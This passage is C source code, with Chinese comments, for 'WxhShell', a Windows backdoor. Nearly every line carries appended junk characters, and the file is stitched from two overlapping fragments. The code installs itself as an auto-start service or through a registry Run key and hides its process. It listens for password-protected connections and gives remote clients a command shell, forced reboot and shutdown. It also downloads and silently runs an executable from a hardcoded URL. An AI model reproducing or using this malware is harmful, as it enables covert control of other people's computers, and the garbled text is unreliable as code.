    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [>N`)]fP  
    if(Boot(SHUTDOWN)) "o.g}Pv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p{BBqKv  
    else { x]%'^7#v)  
    closesocket(wsh); KaGG4?=V  
    ExitThread(0); \6z_ ;  
    } [[sfuJD  
    break; Rx>>0%e.  
    } 6 (@U+`  
  // 获取shell 6~_ TXy/  
  case 's': { FG[YH5  
    CmdShell(wsh); bQFMg41*w7  
    closesocket(wsh); vq&u19iP  
    ExitThread(0); nNJMQb'K  
    break; q" aUA_}\  
  } drc]"6 k  
  // 退出 ~gA p`Q  
  case 'x': { D3BT>zTGK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |0e7<[  
    CloseIt(wsh); :xz,PeXo7  
    break; gZLzE*NZ  
    } 5o&noRIIr  
  // 离开 !uwZ%Ux z  
  case 'q': { jR[3{ Reo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :s5wFumD  
    closesocket(wsh); tUPdq0%t[  
    WSACleanup(); $xl>YYEBMH  
    exit(1); +>uiI4g  
    break; sKK*{+,kh;  
        } =T0;F0@#4  
  } ] s))O6^f  
  } l,n V*Z  
WzwH;!  
  // 提示信息 2a 3RRP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WFTXSHcG  
} yaD_c;  
  } v3`k?jAaI  
ZFNn(n  
  return; &rmXz6 F  
} l9eCsVQ~V  
dvl'Sq<  
// shell模块句柄 fd<a%nSD  
int CmdShell(SOCKET sock) d}2$J1`  
{ wG\ +C'&~  
STARTUPINFO si; [m9Iz!E  
ZeroMemory(&si,sizeof(si)); ".Q``d&X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bI_T\Eft  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i 6@c@n  
PROCESS_INFORMATION ProcessInfo; x  #Um`  
char cmdline[]="cmd"; Pzl2X@{%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 25zmde~ w  
  return 0; P wY~L3,  
} E9"P~ nz  
[$<\*d/  
// 自身启动模式 ..5rW0lr  
int StartFromService(void) (&)PlIi7  
{ 8w Xnc%  
typedef struct WX9ABh&5  
{ -xXz}2S4  
  DWORD ExitStatus; :47bf<w|Y  
  DWORD PebBaseAddress; 1YrIcovi-  
  DWORD AffinityMask; Z Vin+z  
  DWORD BasePriority; +6$|No  
  ULONG UniqueProcessId; ls9 28  
  ULONG InheritedFromUniqueProcessId; |v6kZ0B<  
}   PROCESS_BASIC_INFORMATION; 7l~d_<h  
H`:2J8   
PROCNTQSIP NtQueryInformationProcess; Hv~& RZpe  
]#fmih^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m/T3Um  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `v|w&ty*  
DQ86(4e*g#  
  HANDLE             hProcess; S1Nwm?z  
  PROCESS_BASIC_INFORMATION pbi; 7%Q?BH7{  
2.>WR~ \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Sz_{#-  
  if(NULL == hInst ) return 0; Z?);^m|T  
o;zU;pkB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @|jLw($Ly  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s6k@WT?"^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fK %${   
<U]!1  
  if (!NtQueryInformationProcess) return 0; 6Kbc:wlR  
VPh0{(O^=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `Pcbc\"*y  
  if(!hProcess) return 0; {#_CzI.0f  
ye-EJDZN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U $2"ZyFii  
DT Cwf  
  CloseHandle(hProcess); e}u68|\EC  
1LK`    
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EDA%qNd]j  
if(hProcess==NULL) return 0; S#{jyU9 ]  
<0w"$.K#3  
HMODULE hMod; cR *5iqA  
char procName[255]; 2:6W_[7l!  
unsigned long cbNeeded; <y}9Twdy  
l 10p'9 n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g5OKhL0u  
x%!Ea{ s  
  CloseHandle(hProcess); n`Y"b&  
0|J]EsPxu  
if(strstr(procName,"services")) return 1; // 以服务启动 "?X,);5S  
:]rb}1nLB  
  return 0; // 注册表启动 `k.Tfdu)K  
}  mdtG W  
%tvP\(]h  
// 主模块 n ZbINhls  
int StartWxhshell(LPSTR lpCmdLine) W0 n?S "  
{ "PD^]m  
  SOCKET wsl; kF@Z4MB}yr  
BOOL val=TRUE; VL?sfG0  
  int port=0; Mjon++>Z  
  struct sockaddr_in door; w wuM!Z+  
<3)k M&.B  
  if(wscfg.ws_autoins) Install(); sP'U9l  
Sk6B>O<:  
port=atoi(lpCmdLine); zJ $&`=  
'-l.2IUyT  
if(port<=0) port=wscfg.ws_port; 9zL(PkC%\  
E xls_oSp  
  WSADATA data; }mYxI^n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ixY[ HDPq  
/=(PMoZu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TlEd#XQgf&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j%`% DQ  
  door.sin_family = AF_INET; 4F`&W*x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BI|TM2oa  
  door.sin_port = htons(port); gr^T L1(  
yp!7^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A/c#2  
closesocket(wsl); )Ggv_mc h  
return 1; RD|DHio%  
} {44#<A<  
`9* |Y8:  
  if(listen(wsl,2) == INVALID_SOCKET) { ) w1`<7L  
closesocket(wsl);  Iysp)  
return 1; c<a)Yqf"]  
} Due@ '  
  Wxhshell(wsl); }1#prQ0F  
  WSACleanup(); YZ k.{#^c  
XkhGU?={  
return 0; =G9I7Y@  
FX1H2N(  
} a_3w/9L4r  
(uVL!%61k  
// 以NT服务方式启动 FTQNS8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sx n{uRF  
{ !kS/Ei  
DWORD   status = 0; |pG%]?A  
  DWORD   specificError = 0xfffffff; .nzN5FB U  
X5tx(}j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; srQGqE~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %xv*#.<Vj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eev-";c  
  serviceStatus.dwWin32ExitCode     = 0; B2,c_[UZ.  
  serviceStatus.dwServiceSpecificExitCode = 0; q|g>;_  
  serviceStatus.dwCheckPoint       = 0; {ldt/dl~  
  serviceStatus.dwWaitHint       = 0; bP Q=88*  
6E#znRi6IE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dSI<s^n  
  if (hServiceStatusHandle==0) return; ictV7)  
i*((@:  
status = GetLastError(); #M)+sK$H%f  
  if (status!=NO_ERROR) "U-dw%b}b  
{ }0Ie Kpu5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B#G:aBCM  
    serviceStatus.dwCheckPoint       = 0; mt]^d;E  
    serviceStatus.dwWaitHint       = 0; |[)n.N65 =  
    serviceStatus.dwWin32ExitCode     = status; #:NY9.\o  
    serviceStatus.dwServiceSpecificExitCode = specificError; EeR}34  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =<%[P9y  
    return; 4nrn Npf`b  
  } EO`eg]  
?2%;VKN4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U,K=(I7OBX  
  serviceStatus.dwCheckPoint       = 0; wJZuJ(  
  serviceStatus.dwWaitHint       = 0; O.DO,]Uh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3yrb7Rn3  
} neQ~h4U"  
bd\%K`JQ{  
// 处理NT服务事件,比如:启动、停止 s1]m^,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G}Ko*:fWS  
{ ?C`r3  
switch(fdwControl) K3iQ/j~aq  
{ bC /Ql  
case SERVICE_CONTROL_STOP: 8'"=y}]H~  
  serviceStatus.dwWin32ExitCode = 0; tZG l^mA"g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EsS$th)d  
  serviceStatus.dwCheckPoint   = 0; P1R5}i  
  serviceStatus.dwWaitHint     = 0; 2){O&8A  
  { PJ YUD5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wF9L<<&B  
  } O 6ph_$nt.  
  return; [MuZ^'dR  
case SERVICE_CONTROL_PAUSE: ?t5<S]'r$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !zfKj0^  
  break; /i~x.i3  
case SERVICE_CONTROL_CONTINUE: zI0d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }xry  
  break; NBL%5!'  
case SERVICE_CONTROL_INTERROGATE: H:)_;k  
  break; *M)M!jTv  
}; }K5okxio  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I^nDO\m <  
} f92z/5%V  
TlowEh8r  
// 标准应用程序主函数 &1Cs'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K3Bw3j 9  
{ e#)NYcr6  
 wX5q=I  
// 获取操作系统版本 d N$,AOT  
OsIsNt=GetOsVer(); !S%0#d2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1F_$[iIX]  
\,fa"^8  
  // 从命令行安装 l/,la]!T  
  if(strpbrk(lpCmdLine,"iI")) Install(); qW`?,N)r  
;80^ GDk~S  
  // 下载执行文件 {-lpYD^k3  
if(wscfg.ws_downexe) { kno[!A7_6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }i{qRx"4  
  WinExec(wscfg.ws_filenam,SW_HIDE); O}w%$ mq  
} `8S3Y  
YS#*#!ZMn?  
if(!OsIsNt) { )Gm9x]SVl  
// 如果时win9x,隐藏进程并且设置为注册表启动 BA2J dU  
HideProc(); 3FtL<7B '.  
StartWxhshell(lpCmdLine);  \_  
} 3vKTCHbk9  
else v2I? 5?j  
  if(StartFromService()) v<t?t<|J  
  // 以服务方式启动 e_|Z&  
  StartServiceCtrlDispatcher(DispatchTable); 4i PVpro  
else ~8yh,U  
  // 普通方式启动 Z+u.LXc|c  
  StartWxhshell(lpCmdLine); 51`&%V{daL  
}h=PW'M{  
return 0; M\/hK2J# #  
} *`rfD*  
eXMIRus(  
-r_,#LR!l  
y%X! l(gQ  
=========================================== 5|=J\Lp2I  
9|lLce$  
#%2d;V  
EK5$z>k>m  
0>8w On  
uorX;yekC  
" %S"85#R5E  
TZ+ p6M8G  
#include <stdio.h> araXE~Ac  
#include <string.h> s[sv4hq  
#include <windows.h> 14" 57Jt8  
#include <winsock2.h> <zL_6Y2  
#include <winsvc.h> 3LT~- SvL  
#include <urlmon.h> !\<a2>4$T  
<gFa@at  
#pragma comment (lib, "Ws2_32.lib") 8>t,n,k  
#pragma comment (lib, "urlmon.lib") ,0a_ou"P=_  
b _<n]P*)  
#define MAX_USER   100 // 最大客户端连接数 2QRO$NieV  
#define BUF_SOCK   200 // sock buffer uDP:kM  
#define KEY_BUFF   255 // 输入 buffer ccrWk*tr  
) $_1U!z  
#define REBOOT     0   // 重启 ol*,&C:{  
#define SHUTDOWN   1   // 关机 & W od  
*g,ls(r\[  
#define DEF_PORT   5000 // 监听端口 \yu7,v  
-2; 6Pwmv  
#define REG_LEN     16   // 注册表键长度 6^WNwe\  
#define SVC_LEN     80   // NT服务名长度 4~&3.1  
|$b8(g$s)  
// 从dll定义API y]0O"X-G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GdcXU:J /  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >x JzV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !8[T*'LJ-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4`,7 tj  
`hZh}K^  
// wxhshell配置信息 9xO@_pkX  
struct WSCFG { M2|!,2  
  int ws_port;         // 监听端口 H7GI`3o  
  char ws_passstr[REG_LEN]; // 口令 AU3Rz&~  
  int ws_autoins;       // 安装标记, 1=yes 0=no [B# XA}w  
  char ws_regname[REG_LEN]; // 注册表键名 0\{dt4nW&O  
  char ws_svcname[REG_LEN]; // 服务名 fj;ZGbg-O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OemY'M? ZQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0-S.G38{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mLqqo2u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zQ |2D*W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [9${4=Kq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N?ccG\t  
R\5,H!V9n  
}; Cd_@<  
Ai1"UYk\\Y  
// default Wxhshell configuration (<r)xkn  
struct WSCFG wscfg={DEF_PORT, tg@61V?>  
    "xuhuanlingzhe", .s9E +1  
    1, A{ ~D_q  
    "Wxhshell", B`Z3e%g#  
    "Wxhshell", 0#9H;j<Op  
            "WxhShell Service", r=5 S0  
    "Wrsky Windows CmdShell Service", )0-A;X2  
    "Please Input Your Password: ", JFVx&  
  1, 6[3Xe_  
  "http://www.wrsky.com/wxhshell.exe", /iFn =pk1?  
  "Wxhshell.exe" D,}bTwRb-  
    }; ]JjS$VMauX  
(|K+1R  
// 消息定义模块 <Z:FY|'s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B=TUZ)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oI{.{]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hK3-j;eg  
char *msg_ws_ext="\n\rExit."; |y U!d %  
char *msg_ws_end="\n\rQuit."; B18BwY  
char *msg_ws_boot="\n\rReboot..."; Kf:!tRE  
char *msg_ws_poff="\n\rShutdown..."; ZKXE7p i  
char *msg_ws_down="\n\rSave to "; P!W%KobZ7|  
7P+1W \  
char *msg_ws_err="\n\rErr!"; i90X0b-A  
char *msg_ws_ok="\n\rOK!"; 'z;(Y*jb  
`s}L3bR]  
char ExeFile[MAX_PATH]; =U3S"W %  
int nUser = 0; =O }^2OARo  
HANDLE handles[MAX_USER]; f%,S::%Ea  
int OsIsNt; D<6$@ZJ  
K9#kdo1 2  
SERVICE_STATUS       serviceStatus; ?Ts]zO%%Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gk*u^J(  
uaF-3  
// 函数声明 oZiW4z*Wh  
int Install(void); yMz#e0k  
int Uninstall(void); m"n74 cxS  
int DownloadFile(char *sURL, SOCKET wsh); fWmc$r5n](  
int Boot(int flag); }#FV{C]  
void HideProc(void); wuH*a3(  
int GetOsVer(void); wHj 1+W  
int Wxhshell(SOCKET wsl); $&as5z8  
void TalkWithClient(void *cs); o1ZVEvp  
int CmdShell(SOCKET sock); %^@l5h.lqB  
int StartFromService(void); tTy!o=  
int StartWxhshell(LPSTR lpCmdLine); 5v)^4( )  
V1]GOmXz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r >'tE7W9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zo<)r2|O.  
<a"(B*bBd  
// 数据结构和表定义 >[;W ~*  
SERVICE_TABLE_ENTRY DispatchTable[] = -wXeue},>  
{ LL#REK|lm8  
{wscfg.ws_svcname, NTServiceMain}, _ p\L,No  
{NULL, NULL} [[ ie  
};  4u:SE   
}gkLO TJ/,  
// 自我安装 ;d6Dm)/(  
int Install(void) 8gP1]xD  
{ r%.k,FzGZY  
  char svExeFile[MAX_PATH]; 0V1GX~2  
  HKEY key; r @4A% ql<  
  strcpy(svExeFile,ExeFile); t(#9.b`W)  
?XHQdN3e  
// 如果是win9x系统,修改注册表设为自启动 =~+ WJN  
if(!OsIsNt) { =xo0T 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o pTXI*QA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9>~pA]j%  
  RegCloseKey(key); cW:y^(Xii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( V4Ppg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dipfsH]p  
  RegCloseKey(key); eA4D.7HDK  
  return 0; ,m=G9QcN  
    } j;3I`:  
  } )q=F_:$  
} }3{eVct#|  
else { m.K cTM%j  
;7P '>j1?U  
// 如果是NT以上系统,安装为系统服务 )dkU4]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'dKfXYY1`N  
if (schSCManager!=0) +l7)7qKx  
{ .g8*K "  
  SC_HANDLE schService = CreateService u"HGT=Nl  
  ( |{N{VK  
  schSCManager, +K1M&(  
  wscfg.ws_svcname, KR>)Ek  
  wscfg.ws_svcdisp, Iq + N0G<j  
  SERVICE_ALL_ACCESS, /f#b;qa,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OIP]9lM$nC  
  SERVICE_AUTO_START, ?@ oF@AEx=  
  SERVICE_ERROR_NORMAL, KW .4 9  
  svExeFile, 3+6Ed;P  
  NULL, J#(AX6  
  NULL, v&d1ACctJ  
  NULL, `MU~N_  
  NULL, $,}jz.R@  
  NULL 'zI(OnIS  
  ); B]X8KzLu  
  if (schService!=0) "#~>q(4^  
  { %+~\I\)1  
  CloseServiceHandle(schService); z5jw\jBD  
  CloseServiceHandle(schSCManager); v)+g<!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zS%XmS\  
  strcat(svExeFile,wscfg.ws_svcname); $:~;U xh=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ixa0;nxj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q^aDZzx,z  
  RegCloseKey(key); g6,DBkv2  
  return 0; |[.-pA^  
    } 8%9 C<+.R  
  } /.SG? 5t4  
  CloseServiceHandle(schSCManager); ["3dr@T9Z  
} yqx5_}  
} 4,)9@-|0R  
u9!  ?  
return 1; ]DVr-f ~  
} D>7a0p784  
"/'3I/}  
// 自我卸载 (7R?T}  
int Uninstall(void) y#GHmHeh  
{ lb_N"90p  
  HKEY key; OH t)z.  
i\sBey ND"  
if(!OsIsNt) { Af _4Z]F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4mvR]: G  
  RegDeleteValue(key,wscfg.ws_regname); E.K^v/dNdq  
  RegCloseKey(key); 5NhFjPETr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j*.;6}\o  
  RegDeleteValue(key,wscfg.ws_regname); t /+;#-  
  RegCloseKey(key);  cyl%p$  
  return 0; *{ rorir  
  } +bznKy!  
} xgk~%X%K  
} U,#~9  
else { 2z-Nw <bA  
p\&O;48=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D4L&6[W  
if (schSCManager!=0) %,T*[d&i  
{ ;iKLf~a a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '7?Y+R@|L  
  if (schService!=0) x%EGxs;>^  
  { vJ&_-CX   
  if(DeleteService(schService)!=0) { k'o[iKlu  
  CloseServiceHandle(schService); (ghI$oH  
  CloseServiceHandle(schSCManager); 1B;2 ~2X  
  return 0; RcYUO*  
  } A*OqUq/H`;  
  CloseServiceHandle(schService); -#ZLu.  
  } *`H*@2  
  CloseServiceHandle(schSCManager); ,6>3aD1w~q  
} P(shbi@  
} VVeJe"!t  
z.8/[)  
return 1; TE Z%|5(]  
} s 47R,K$  
l'"nU6B&  
// 从指定url下载文件 >Z!!`0{  
int DownloadFile(char *sURL, SOCKET wsh) D;R~!3f./b  
{ /QQRy_Z1)  
  HRESULT hr; kE:[6reG  
char seps[]= "/"; a}y b~:TC  
char *token; e0P[,e*0  
char *file; ~(R=3  
char myURL[MAX_PATH]; 5 bI :xL}  
char myFILE[MAX_PATH]; So 1TH%  
`58%&3lp  
strcpy(myURL,sURL); 'gf[Wjb,%  
  token=strtok(myURL,seps); z8X7Y >+SA  
  while(token!=NULL) oP,*H6)i  
  { Hhknjx  
    file=token; A)U"F&tvm  
  token=strtok(NULL,seps); +YvF+E  
  } #tV1?q  
 LSC[S:  
GetCurrentDirectory(MAX_PATH,myFILE); Gn2{C%  
strcat(myFILE, "\\"); ga +, P  
strcat(myFILE, file); ]d1'5F][H  
  send(wsh,myFILE,strlen(myFILE),0); 9 5,]86  
send(wsh,"...",3,0); !8G)` '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Gt{9#  
  if(hr==S_OK) 5&n:i,  
return 0; [BE_^d5&  
else => (g_\  
return 1; Q4cCg7|0  
:+"4_f0  
} MqZ"Js  
4t[7lL`Z  
// 系统电源模块 U6&`s%mIa  
int Boot(int flag) E+/Nicn=  
{ tc'iKJ5)  
  HANDLE hToken; x$d[Ovw-  
  TOKEN_PRIVILEGES tkp; \foThLx  
n#P>E( K  
  if(OsIsNt) { 64u(X^i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D)PX|xrn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZO%^r%~s  
    tkp.PrivilegeCount = 1; xrg"/?84  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "B3jq^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AY52j  
if(flag==REBOOT) { i6#*y!3{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SMZ*30i  
  return 0; 1X)#iY  
} =p;cJ%#2]'  
else { d_`MS@2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ":/c|!  
  return 0; C98F?uo%Q  
} )]fiyXA  
  } -YQh F;/  
  else { b\"F6TF:  
if(flag==REBOOT) { 6:2*<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RnH?95n?{  
  return 0; {?yVA  
} Y~}MfRE3z  
else { LLgw1 @-D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) No7-fX1B  
  return 0; 9Kd=GL_  
} 8ae`V!5  
} c[-N A  
D/E5&6  
return 1; AOg'4  
} 8xlj,}QO\  
VZqCFE3  
// win9x进程隐藏模块 :<aGZ\R5  
void HideProc(void) !}6'vq  
{ gfggL&t(  
fK7 ?"^`/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k1z`92"  
  if ( hKernel != NULL ) @K]`!=vUk  
  { v`oilsrc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .JKH=?~\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Tt~4'{Bc  
    FreeLibrary(hKernel); yP]>eLTSd  
  } E{V?[HcWq  
:P-H8*n""  
return; iFUiw&  
} 3V]dl)en%  
Kl.*Q  
// 获取操作系统版本 G `|7NL   
int GetOsVer(void) __}SHU0R  
{ ;}Jv4Z  
  OSVERSIONINFO winfo; x;W!sO@$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qXtC7uNj$  
  GetVersionEx(&winfo); _`SD G5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !mK()#6  
  return 1; Sd6O?&(  
  else 7Q!ksp  
  return 0; % i?  
} Py*WHHO  
,It0brF  
// 客户端句柄模块 .M:&Aj)x16  
int Wxhshell(SOCKET wsl) ZW;Ec+n_K  
{ Qy9_tvq X  
  SOCKET wsh; :0@0muo  
  struct sockaddr_in client; _EMX x4J  
  DWORD myID; 4]1/{</B|  
6?,qysm06  
  while(nUser<MAX_USER) xtGit}  
{ J;>;K6pW  
  int nSize=sizeof(client); B}04E^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ILCh1=?{9r  
  if(wsh==INVALID_SOCKET) return 1; al#(<4sJ  
?J$k 5;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #_ulmB;  
if(handles[nUser]==0) 1V`-D8-?  
  closesocket(wsh); mZU L}[xf  
else 5"h4XINZ  
  nUser++; 6KGT?d  
  } -|'@ :cIZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ubB1a_7  
7B0`.E^~  
  return 0; ds*gL ~k^  
} -$!r+4|q  
 2l,>x  
// 关闭 socket 0-PT%R  
void CloseIt(SOCKET wsh) q2#Ebw %]  
{ %rB,Gl:)g  
closesocket(wsh); 1a9' *[  
nUser--; [`tOhL  
ExitThread(0); :#vA5kC  
} 1[OY- G  
MVM Jl">  
// 客户端请求句柄 !43nL[]  
void TalkWithClient(void *cs) $-DW+|p.?^  
{ A23K!a2u&  
\@PMj"p|:  
  SOCKET wsh=(SOCKET)cs; i$pUUK  
  char pwd[SVC_LEN]; 8/2Wq~&  
  char cmd[KEY_BUFF]; UK OhsE  
char chr[1]; F$>#P7ph\a  
int i,j; >c@! EPS  
u"5/QB{  
  while (nUser < MAX_USER) { %o9mG<.T  
|j"C52Q  
if(wscfg.ws_passstr) { $Ud9v4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kPOk.F%)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HpbwW=;V  
  //ZeroMemory(pwd,KEY_BUFF); TS#1+f]9J<  
      i=0; =_&,^h@'3e  
  while(i<SVC_LEN) { Z3o HOy  
n jd2  
  // 设置超时 1f3g5y'z5  
  fd_set FdRead; k4&adX@Y  
  struct timeval TimeOut; 3B[tbU(  
  FD_ZERO(&FdRead); dDiy_Q6  
  FD_SET(wsh,&FdRead); &pl)E$Y  
  TimeOut.tv_sec=8; `Zp*?  
  TimeOut.tv_usec=0; (M;d*gN r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5<X"+`=9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >l}v _k*~B  
L7- JK3/E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3q'nO-KJ  
  pwd=chr[0]; ral=`/p  
  if(chr[0]==0xd || chr[0]==0xa) { qKXg'1#E)  
  pwd=0; 1grcCL q  
  break; -DGuaUU  
  } F+c8 O  
  i++; %Lx#7bR U  
    } /slCK4vFc  
H1~9f {  
  // 如果是非法用户,关闭 socket DB"z93Mr<K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,P`:`XQ>_B  
} LP7jCt  
=WF@S1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fu?_<G%Ynp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eOVln1a  
c9gm%  
while(1) { s'/_0  
/hg^hF  
  ZeroMemory(cmd,KEY_BUFF); J}Z\I Y,  
uYFy4E3  
      // 自动支持客户端 telnet标准   %b pQ=  
  j=0; Hv"qRuQ?[  
  while(j<KEY_BUFF) { z+fy&NPl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b7'A5]X  
  cmd[j]=chr[0]; cooicKS7  
  if(chr[0]==0xa || chr[0]==0xd) { *W=1yPP  
  cmd[j]=0; {'P?wv  
  break; \Ogs]4   
  } E08!a  
  j++; -iy17$  
    } }K.)yv n  
P2>_qyX  
  // 下载文件 cgcU2N6y;  
  if(strstr(cmd,"http://")) { 9~ V(wG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (CAV Oed  
  if(DownloadFile(cmd,wsh)) ,o2x,I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWM4S4yZHR  
  else <YG 42,N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /L`qOr2E  
  } f#38QP-T  
